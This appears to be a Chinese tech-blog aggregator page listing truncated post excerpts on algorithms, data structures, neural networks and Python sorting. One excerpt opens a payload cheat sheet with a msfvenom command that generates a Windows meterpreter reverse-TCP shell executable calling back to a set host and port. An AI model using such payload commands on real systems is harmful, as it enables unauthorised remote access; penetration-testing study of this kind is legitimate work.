想不明白这题写严格的半平面交为什么会错 /* 凸包所有边向内推进r */ #include<iostream> #include<cstring> #include<cstdio> #include<cmath> #include<vector> #include<algorithm> #inclu ...
分类:
其他好文 时间:
2020-02-28 16:04:09
阅读次数:
69
判断一个整数是否是回文数。 题解 普通解法:将整数转为字符串,然后对字符串做判断。 我的解法代码 取出后半段数字进行翻转 每次进行取余操作,取出最低数字 将最低数字加到取出数的末尾 每取一位最低数,x就要/10 判断x是否小于取出数,小于时代表已经对半 如果是偶数,则两者相等,如果是奇数,需要/10 ...
分类:
其他好文 时间:
2020-02-28 15:47:35
阅读次数:
63
题目: Given a non-empty binary tree, find the maximum path sum. For this problem, a path is defined as any sequence of nodes from some starting node to ...
分类:
编程语言 时间:
2020-02-28 14:11:20
阅读次数:
84
1 """ 2 自己AC 3 为了实现Z字形遍历 4 记录了二叉树的depth,如果depth为2的倍数 5 将得到的值reverse()处理一下再存入res中 6 """ 7 8 class TreeNode: 9 def __init__(self, x): 10 self.val = x 11 ...
分类:
其他好文 时间:
2020-02-28 00:57:38
阅读次数:
36
开始学习的时候对这一类问题十分混乱,尤其是指针的调用,这里面引用一位leetcode大佬huwt的解析,觉得很好拿来分享一下。 也体会到了大佬的话:这种题就要多画图,寻找每一次过程的关系,多总结,就做好了,作为第二天leetcode的重头戏。 好理解的双指针定义两个指针: pre 和 cur ;pr ...
分类:
其他好文 时间:
2020-02-27 23:33:33
阅读次数:
66
BP神经网络实现 以3层网络为例,Python实现; 1.代码框架 主要函数: Init函数:设定InputLayer nodes、HiddenLayer nodes、OutputLayer nodes数量,网络链接权重和学习率; Training函数:学习训练集体样本并优化权重; Query函数: ...
分类:
其他好文 时间:
2020-02-27 20:43:23
阅读次数:
107
Q:请实现一个函数按照之字形打印二叉树,即第一行按照从左到右的顺序打印,第二层按照从右至左的顺序打印,第三行按照从左到右的顺序打印,其他行以此类推。 A:BFS,偶数层reverse Q:从上到下按层打印二叉树,同一层结点从左至右输出。每一层输出一行。 A:BFS,比上面还简单,不用reverse( ...
分类:
其他好文 时间:
2020-02-27 19:19:16
阅读次数:
59
sort() 函数用于对原列表进行排序,如果指定参数,则使用比较函数指定的比较函数。 sort() 函数语法: 参数 + key 主要是用来进行比较的元素,只有一个参数,具体的函数的参数就是取自于可迭代对象中,指定可迭代对象中的一个元素来进行排序。 + reverse 排序规则, 降序, 升序(默认 ...
分类:
其他好文 时间:
2020-02-27 13:17:33
阅读次数:
379
一、payload 1.windwos msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe msfvenom -p ...
分类:
其他好文 时间:
2020-02-26 14:09:12
阅读次数:
84
— By cuizhenkai1.优化搜索顺序从小到大排序, 优先尝试较长的木棍。理解:从最大开始可以较快的排除不可能的分支,避免dfs进入比较深的树。若从最小开始,则有可能前几根可以拼好,但是后面的不能满足条件,让dfs进入了更深的层。2. 排除等效冗余A ) 限制先后加入一根原始木棍的长度递减。... ...
分类:
其他好文 时间:
2020-02-25 13:13:27
阅读次数:
74